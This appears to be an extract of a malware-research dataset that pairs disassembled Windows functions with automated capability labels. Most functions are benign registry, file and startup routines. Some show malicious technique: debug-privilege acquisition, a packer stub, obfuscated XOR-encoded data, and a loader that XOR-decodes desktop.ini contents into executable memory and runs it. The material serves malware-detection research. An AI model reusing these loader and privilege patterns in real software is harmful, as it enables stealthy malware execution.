joyce8/EMBER2024-capa huggingface dataset:
Function at 0xae4d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xae4d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xae4d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xae4d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xae4d94
push eax
push esi
call fcn.00ae720b
add esp, 8
pop esi
ret 0x10

Function at 0xae4da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xae4e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xae4e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xafd320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00ae6dff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xae4dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xae4e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xae4ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xae4eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xafd320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00ae6dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xae4eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xae4e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xae5000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xae5131
push esi
call fcn.00ae8145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00ad7080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xae5131
push 0
push ebp
call fcn.00ad73a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00ad7260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xae508b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00ad72f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xae5121
push 0xafd918
push edi
call fcn.00ae63f0
push eax
push ebx
push esi
call fcn.00ae4f60
push 0xafd8f8
push edi
call fcn.00ae63f0
push eax
push ebx
push esi
call fcn.00ae4f60
push 0xafd8d8
push edi
call fcn.00ae63f0
push eax
push ebx
push esi
call fcn.00ae4f60
push 0xafd8c0
push edi
call fcn.00ae63f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00ae4f60
push 0xafd8a0
push edi
call fcn.00ae63f0
push eax
push ebx
push esi
call fcn.00ae4f60
push 0xafd888
push edi
call fcn.00ae63f0
push eax
push ebx
push esi
call fcn.00ae4f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xae61b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00ae6140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00ae6140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00ae6140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00ae6140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xae6bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xae6c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xaf887c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xae6c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xae6c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x4194d0
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0xc
mov al, byte [0x4cd04e]
push esi
mov esi, ecx
push edi
mov cl, byte [0x4cd043]
xor cl, al
mov al, byte [0x4cd041]
mov byte [0x4cd043], cl
mov cl, al
or cl, 0xc
shr cl, 2
and ecx, 0xff
mov dword [esp + 8], ecx
fild dword [esp + 8]
fdivr qword [0x4d0a08]
fadd qword [0x4d09a8]
fstp qword [0x4d0a08]
mov ecx, dword [esi + 8]
test ecx, ecx
jne 0x4195e5
mov dl, byte [str.V1_2A]
mov cl, byte [0x4cd04d]
or dl, 2
or al, cl
shr dl, 1
and edx, 0xff
mov byte [0x4cd041], al
mov dword [esp + 8], edx
fild dword [esp + 8]
fdivr qword [0x4cd058]
fadd qword [0x4cb350]
fstp qword [0x4d09a8]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 8]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test eax, eax
je 0x419593
mov edx, dword [0x4d0af4]
push 0x4d07e0
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov eax, dword [0x4d0af4]
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [0x4cffc8], eax
push str.uxtheme.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [0x4cd03c]
mov edi, eax
mov dword [esp + 0x10], 0
lea edx, [ecx*4]
mov ecx, dword [0x4cd038]
or edx, ecx
mov dword [esp + 0xc], edx
fild qword [esp + 0xc]
fstp qword [0x4cd058]
call fcn.00419410
test edi, edi
mov dword [esi], edi
je 0x4195e5
push str.IsThemeActive
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 8], eax
pop edi
pop esi
add esp, 0xc
ret

Function at 0x4c6181
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4cd3a8
cmp edx, dword [eax]
je 0x4c61a3
add eax, 8
inc ecx
cmp eax, 0x4cd438
jl 0x4c6194
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4cd3a8]
jne 0x4c62d1
mov eax, dword [0x4d2dd8]
cmp eax, 1
je 0x4c62ab
test eax, eax
jne 0x4c61d4
cmp dword [0x4cd2d0], 1
je 0x4c62ab
cmp edx, 0xfc
je 0x4c62d1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4c620b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004c6b60
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004c6ff0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4c624e
lea eax, [ebp - 0x1a4]
push eax
call fcn.004c6ff0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4cb6cc
push edi
call fcn.004c8ec0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004c6b60
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004c6b70
lea eax, [ebp - 0xa0]
push 0x4cb6ac
push eax
call fcn.004c6b70
push dword [esi + 0x4cd3ac]
lea eax, [ebp - 0xa0]
push eax
call fcn.004c6b70
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004c8e34
add esp, 0x2c
pop edi
jmp 0x4c62d1
lea eax, [ebp + 8]
lea esi, [esi + 0x4cd3ac]
push 0
push eax
push dword [esi]
call fcn.004c6ff0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x459a55
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push dword [ebp + 8]
call dword [ebp - 0x538]
mov dword [ebp - 0x398], eax
mov byte [ebp - 0x544], 1
cmp dword [ebp - 0x398], 0
je 0x459a8b
invalid

Function at 0x45a00b
Capabilities:
Encode data using xor

Disassembly:
call dword [esi + eax*8 - 0x3ed7b]
push dword [eax - 0x3ec7a3a]
invalid

Function at 0x45a9e4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
adc byte [eax - 0x7985b], al
inc dword [eax]
mov byte [ebp - 0x798], 0xb3
mov byte [ebp - 0x797], 0x8c
mov byte [ebp - 0x796], 0x80
mov byte [ebp - 0x795], 0x81
mov byte [ebp - 0x794], 0x9d
mov byte [ebp - 0x793], 0x8a
mov byte [ebp - 0x792], 0x9c
mov byte [ebp - 0x791], 0xc1
mov byte [ebp - 0x790], 0x8b
mov byte [ebp - 0x78f], 0x83
invalid
inc dword [ebx - 0x78d7a3a]
invalid
inc dword [ebx - 0x78c7a3a]
invalid
invalid
out dx, eax
call fcn.00458d97
push es
pop edx
jg 0x45aab4
or al, 0x8d
test dword [eax + edi*8 - 1], esp
call dword [eax - 0x18]
push eax
jecxz 0x45aa55
invalid
call [ecx + 0x50]
mov eax, dword [ebp - 0x550]
lea eax, [ebp + eax - 0x654]
push eax
call fcn.00458d08
add esp, 0xc
lea eax, [ebp - 0x654]
mov dword [ebp - 0x3a0], eax
jmp 0x45ad0f
invalid
Function at 0x65a87c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x6634b0
cmp edx, dword [eax]
je 0x65a89e
add eax, 8
inc ecx
cmp eax, 0x663540
jl 0x65a88f
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x6634b0]
jne 0x65a9cc
mov eax, dword [0xa5bd24]
cmp eax, 1
je 0x65a9a6
test eax, eax
jne 0x65a8cf
cmp dword [0x6612f4], 1
je 0x65a9a6
cmp edx, 0xfc
je 0x65a9cc
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x65a906
lea eax, [ebp - 0x1a4]
push 0x65e9a0
push eax
call fcn.0065b9e0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0065bad0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x65a949
lea eax, [ebp - 0x1a4]
push eax
call fcn.0065bad0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65e99c
push edi
call fcn.0065c490
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x65e980
push eax
call fcn.0065b9e0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0065b9f0
lea eax, [ebp - 0xa0]
push 0x65e97c
push eax
call fcn.0065b9f0
push dword [esi + 0x6634b4]
lea eax, [ebp - 0xa0]
push eax
call fcn.0065b9f0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x65e954
push eax
call fcn.0065c402
add esp, 0x2c
pop edi
jmp 0x65a9cc
lea eax, [ebp + 8]
lea esi, [esi + 0x6634b4]
push 0
push eax
push dword [esi]
call fcn.0065bad0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x41b520
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0x14000]
push edi
jmp 0x41b53a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41b541
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41b530
xor eax, eax
inc eax
xchg ebx, ebx
add ebx, ebx
jne 0x41b553
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41b548
jne 0x41b564
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41b548
xor ecx, ecx
sub eax, 3
jb 0x41b578
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41b5ea
mov ebp, eax
add ebx, ebx
jne 0x41b583
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41b590
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41b5b4
inc ecx
add ebx, ebx
jne 0x41b5a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41b595
jne 0x41b5b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41b595
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41b5d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41b5c5
jmp 0x41b536
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41b5d4
add edi, ecx
jmp 0x41b536
pop esi
mov edi, esi
mov ecx, 0x37
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41b5f2
cmp byte [edi], 2
jne 0x41b5f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41b5f7
lea edi, [esi + 0x19000]
mov eax, dword [edi]
or eax, eax
je 0x41b66f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1ea80]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1eabc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41b624
mov ecx, edi
jns 0x41b653
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1eac4]
or eax, eax
je 0x41b669
mov dword [ebx], eax
add ebx, 4
jmp 0x41b641
call dword [esi + 0x1eac0]
mov ebp, dword [esi + 0x1eac8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1df]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41b6a3
sub esp, 0xffffff80
jmp 0x401488
Function at 0x4030dc
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404da0
test esi, esi
jne 0x403112
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404e90
jmp 0x403130
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402fe0
mov edi, eax
test esi, esi
je 0x403130
cmp dword [ebx], 0
je 0x403130
dec esi
jmp 0x403119
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403d60
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x490020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403df8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403dd8
xor eax, eax
push ebp
push 0x403dd1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403e14
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403dd8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x490020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x490020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404c20
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x493048], 0
je 0x404c81
cmp word [0x49321c], 0xd7b2
jne 0x404c49
cmp dword [0x493224], 0
jbe 0x404c49
mov eax, 0x493218
call dword [0x493234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404ca8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x49002c], 0
jne 0x404c9d
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x41f321
Capabilities:
Encode data using xor

Disassembly:
mov al, pe_nt_image_headers32
jno 0x41f386
test al, 0xb6
add ecx, dword [eax + ebp - 0x59]
test byte [ebp + 0x2d], dh
and dword [edi + 0x66ebe6ed], ecx
in eax, dx
out 0xeb, al
cmp al, 0xe8
in eax, dx
out 0xeb, al
cmp al, 0xe8
imul ecx, ebx, 0xf37a7774
or dl, byte [edi]
mov eax, 0x91b37fe8
lodsd eax, dword [esi]
out 0x81, eax
jne 0x41f312
push ecx
mov ecx, ecx
mov edx, 0x15f25773
sti
dec edi
arpl word [ebx], bp
push edi
invalid
cmp byte [ebp + 0x81fa620], dl
rol dword [esi - 0x5d05b727], cl
xchg ecx, eax
inc eax
xchg esp, eax
clc
xchg edi, eax
jecxz 0x41f40d
sub bl, byte [ecx + 0x79]
ret 0xe094
cli
aaa
adc dl, byte [edi + ebp]
add dh, byte [eax + 0x58]
mov bl, 0x52
lodsd eax, dword [esi]
pop es
stosd dword es:[edi], eax
push ebx
mov al, byte [0x72e0ac6f]
movsb byte es:[edi], byte [esi]
sub al, 0x5d
fld xword [eax - 0x37]
std
lodsb al, byte [esi]
mov byte [ebp + 0x6a], al
cmpsd dword [esi], dword es:[edi]
mov al, 0x37
in al, 0xfd
push ecx
fcom qword [edx + 0x5db1c238]
add ebp, dword [0x6768ff0e]
stc
pop ds
mov byte [edx + 0x10], al
sub al, 0x11
xor byte [edi - 0x73], dh
xchg ebx, eax
das
jno 0x41f3c4
loopne 0x41f3a6
sar dword [eax - 0x2d04a579], 0x3e
add eax, 0xc23d225c
mov eax, 0xd2fb5a87
add eax, 0xc23d225c
xchg edi, eax
push ss
fiadd word [edi + 0x4a]
and dword [edx], eax
sbb ebx, esp
dec esp
fsubr qword [edx + 0x59fa7d04]
aad 0xb3
loop 0x41f3b4
xor al, 0x6b
push eax
xor eax, 0x9cda63b6
inc esp
loope 0x41f3c0
jne 0x41f3e3
pop ds
loop 0x41f462
dec esi
add byte [ecx + ecx*2], bh
lcall 0xdea, 0x5917eb8f
jmp 0xc12b1743
pop ecx
scasd eax, dword es:[edi]
in eax, 0x3a
mov dh, 0x37
mov ecx, 0x11d72daf
cmp dl, byte [esi]
mov ah, 0xf7
test byte [edi + 0x79], ah
inc ecx
pushal
lock xor byte [eax + 0x7e], dh
fisub word [ecx]
aas
mov al, 0x23
dec esp
and byte [edx + 0x26], ch
pop ebx
add al, 0x11
jecxz 0x41f4f9
aaa
aam 0xcd
mov edi, 0x917928c5
bnd jge 0x41f413
popfd
xlatb
push edx
mov edx, 0x807c834a
sub al, byte [0x6a56a4dd]
push ds
mov dh, 0x97
mov cs, word [0x45f84629]
mov dword [0xf75a717a], esp
int1
mov esi, 0x5a6d47b8
xor eax, 0x5f8e53c0
dec ebx
xor byte [ecx + 0x5c], dh
out dx, eax
out 0x33, eax
mov dl, byte [edi]
mov bl, 0xe5
dec edi
mov al, byte [0x96a2f0ae]
push esp
push esp
loopne 0x41f50e
out dx, al
xor dword [ecx], esp
movapd xmm7, xmmword [eax + ecx*4 - 0x5d]
sub dl, bl
pop ss
xchg edx, eax
inc esp
or byte [esi], ch
adc al, 0x53
ror byte [edx + 0x53dfa31e], 0x26
and byte [ebp + 0x4d], 0x37
sub ebp, dword [edx - 0x50]
mov al, byte [0x12df3e0b]
retf 0xc3bc
rcl bh, 0xa4
out dx, al
fdiv qword [ebp + 0x1d57ce77]
lea ecx, gs:[ebx - 0x1b5f8967]
dec ebx
mov ebx, dword [ecx + 0x4be4a076]
insd dword es:[edi], dx
jbe 0x41f505
adc dword [ebx + esi*4 + 0x7ce1d515], esp
fimul word [ebp + 0x18]
push 0x9c30b91d
popal
in al, 0x10
and al, 0x50
ret 0x84a
Function at 0x403ac1
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x40d0fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
cmp eax, 1
push esi
push edi
jne 0x403bc2
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x403b06
xor eax, eax
jmp 0x403c5d
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x88]
and eax, 0x7fff
cmp ecx, 2
je 0x403b21
or eax, 0x8000
mov edx, dword [ebp - 0x90]
mov dword [0x40dd84], ecx
mov ecx, dword [ebp - 0x94]
mov esi, ecx
shl esi, 8
add esi, edx
push 1
mov dword [0x40dd8c], esi
mov dword [0x40dd90], ecx
mov dword [0x40dd94], edx
mov dword [0x40dd88], eax
call fcn.00406318
test eax, eax
pop ecx
je 0x403aff
call fcn.004057bf
test eax, eax
jne 0x403b6d
call fcn.0040637d
jmp 0x403aff
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40e9bc], eax
call fcn.0040617a
mov dword [0x40dd6c], eax
call fcn.00405aac
test eax, eax
jge 0x403b92
call fcn.00405461
jmp 0x403b66
call fcn.0040608c
test eax, eax
jl 0x403bbb
call fcn.00405d3e
test eax, eax
jl 0x403bbb
push 0
call fcn.0040516a
test eax, eax
pop ecx
jne 0x403bbb
inc dword [0x40dd68]
jmp 0x403c5a
call fcn.00405ceb
jmp 0x403b8b
xor edi, edi
cmp eax, edi
jne 0x403bfd
cmp dword [0x40dd68], edi
jle 0x403aff
dec dword [0x40dd68]
cmp dword [0x40ddc0], edi
jne 0x403be7
call fcn.004052e5
cmp dword [ebp + 0x10], edi
jne 0x403c5a
call fcn.00405ceb
call fcn.00405461
call fcn.0040637d
jmp 0x403c5a
cmp eax, 2
jne 0x403c4e
call fcn.00405432
push 0x214
push 1
call fcn.00405a66
mov esi, eax
cmp esi, edi
pop ecx
pop ecx
je 0x403aff
push esi
push dword [0x40d0d0]
push dword [0x40ddd0]
call fcn.004053b9
pop ecx
call eax
test eax, eax
je 0x403c42
push edi
push esi
call fcn.004054a3
pop ecx
jmp 0x403c59
push esi
call fcn.00404c4e
pop ecx
jmp 0x403aff
cmp eax, 3
jne 0x403c5a
push edi
call fcn.0040574c
pop ecx
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00404312
leave
ret 0xc

Function at 0x407780
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x407793
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40778f
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x4077c0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x4077ff
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x4077f5
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x407801
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x4077e5
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret